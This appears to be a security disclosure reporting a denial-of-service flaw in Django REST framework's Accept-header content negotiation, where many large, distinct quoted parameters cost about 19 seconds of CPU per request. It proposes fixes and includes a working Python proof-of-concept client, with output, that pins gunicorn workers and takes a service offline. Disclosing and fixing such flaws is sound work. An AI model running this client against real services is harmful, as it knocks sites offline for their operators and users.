Django REST framework: Accept header with many large quoted parameters burns ~19s of CPU per request in content negotiation

gunicorn defaults are limit_request_field_size 8190 and limit_request_fields 100, so the working shape is 96 separate Accept fields with one ~8.1KB token each. That puts the single request ceiling near 19s, below the default 30s worker timeout, so one request alone does not get a stock gunicorn worker killed by the arbiter. It does not need to. Each request pins one sync worker for its full duration, so on two workers, two held connections wedge the service.

order_by_precedence collects tokens into a set, so identical tokens collapse and the cost mostly disappears. Each token needs its own parameter name, x0=, x1=, x2= and so on.

Where a fix could go, either of these alone would be enough:

Parse each Accept token once per request and reuse the result in the matching loop and in the 406 re-negotiation.

Put an aggregate budget in get_accept_list(), say 8KB total or 64 tokens, and treat anything past it as not acceptable.

The quadratic behavior itself lives in Django's parser, but DRF is the one calling it six times per token with no cap on how many tokens there are, so both fixes look like DRF changes to me.

PoC

Verified end to end on Docker Desktop for macOS (Apple Silicon, 8 cores), python:3.13-slim image, Django 6.1, djangorestframework 3.18.0, gunicorn 26.0.0. Nothing was configured beyond defaults.

Minimal target, any default DRF project works, this is the one I used.

requirements.txt:

django==6.1
djangorestframework==3.18.0
gunicorn==26.0.0

pocproj/settings.py:

SECRET_KEY = 'poc'; DEBUG = False; ALLOWED_HOSTS = ['*']
INSTALLED_APPS = ['django.contrib.contenttypes', 'django.contrib.auth', 'rest_framework']
ROOT_URLCONF = 'pocproj.urls'; WSGI_APPLICATION = 'pocproj.wsgi.application'
DATABASES = {'default': {'ENGINE': 'django.db.backends.sqlite3', 'NAME': ':memory:'}}
USE_TZ = True

pocproj/api.py:

from rest_framework.views import APIView
from rest_framework.response import Response

class Items(APIView):
    def get(self, request):
        return Response([{'id': 1, 'name': 'ok'}])

pocproj/urls.py:

from django.urls import path
from .api import Items
urlpatterns = [path('items/', Items.as_view())]

Start it:

python manage.py migrate --noinput
gunicorn pocproj.wsgi:application --bind 0.0.0.0:8000 --workers 2

Client, stdlib only, run with python3:

import http.client, threading, time

TARGET = ('localhost', 8000)

def fields(n=96, semis=8100):
    # 8100 semicolons keeps each field under gunicorn's limit_request_field_size
    # (8190) and each token under Django's MAX_HEADER_LENGTH (10000). Distinct
    # x{i} names stop order_by_precedence from deduplicating the tokens.
    return [f'text/x-poc{i}; x{i}="' + ';'*semis + '"' for i in range(n)]

def burn():
    c = http.client.HTTPConnection(*TARGET, timeout=120)
    c.putrequest('GET', '/items/', skip_accept_encoding=True)
    for f in fields():
        c.putheader('Accept', f)
    c.endheaders()
    r = c.getresponse(); r.read(); c.close()
    return r.status

t = time.perf_counter()
print('single:', burn(), f'{time.perf_counter()-t:.2f}s')
# printed: single: 406 18.87s, baseline GET on the same endpoint is 0.03s

stop = False

def loop():
    while not stop:
        try:
            burn()
        except Exception:
            pass

ts = [threading.Thread(target=loop, daemon=True) for _ in range(2)]
for x in ts:
    x.start()
for _ in range(9):
    time.sleep(2)
    try:
        c = http.client.HTTPConnection(*TARGET, timeout=3)
        c.request('GET', '/items/', headers={'Accept': 'application/json'})
        r = c.getresponse(); r.read(); c.close()
        print('health: 200')
    except Exception as e:
        print('health: DEAD', type(e).__name__)
stop = True

# printed over 40s: health DEAD at t=2, 7, 12, 22, 27, 32, 37, 42, so 8 of 9
# probes hit the 3s timeout, and one 200 slipped through at t=17 while a worker
# was between requests. after stop, one more probe timed out while the in-flight
# request finished, then 200 in 0.57s.

Impact

Availability only, no confidentiality or integrity impact. Any endpoint the attacker can reach is affected, public ones with no authentication at all. On a stock gunicorn setup with two sync workers, two held connections are enough to stop the service for as long as the attacker keeps them, and one request alone costs about 19 seconds of one core. Recovery is immediate once the attack stops, there is no lasting damage.

The requests are valid HTTP and get answered with 406, so they show up in access logs, but nothing about them is malformed, so filters that look for bad requests will not catch them. DRF throttling runs before content negotiation and would cut the rate if configured, but the default configuration ships with no throttle classes, and each request that does get through still costs the full 19 seconds.

The negotiation structure, meaning the uncapped token split, the per-renderer re-parsing, and the 406 re-negotiation, has been in place since 2012. The call switched to parse_header_parameters in July 2022 in #8556. I verified the behavior on 3.18.0.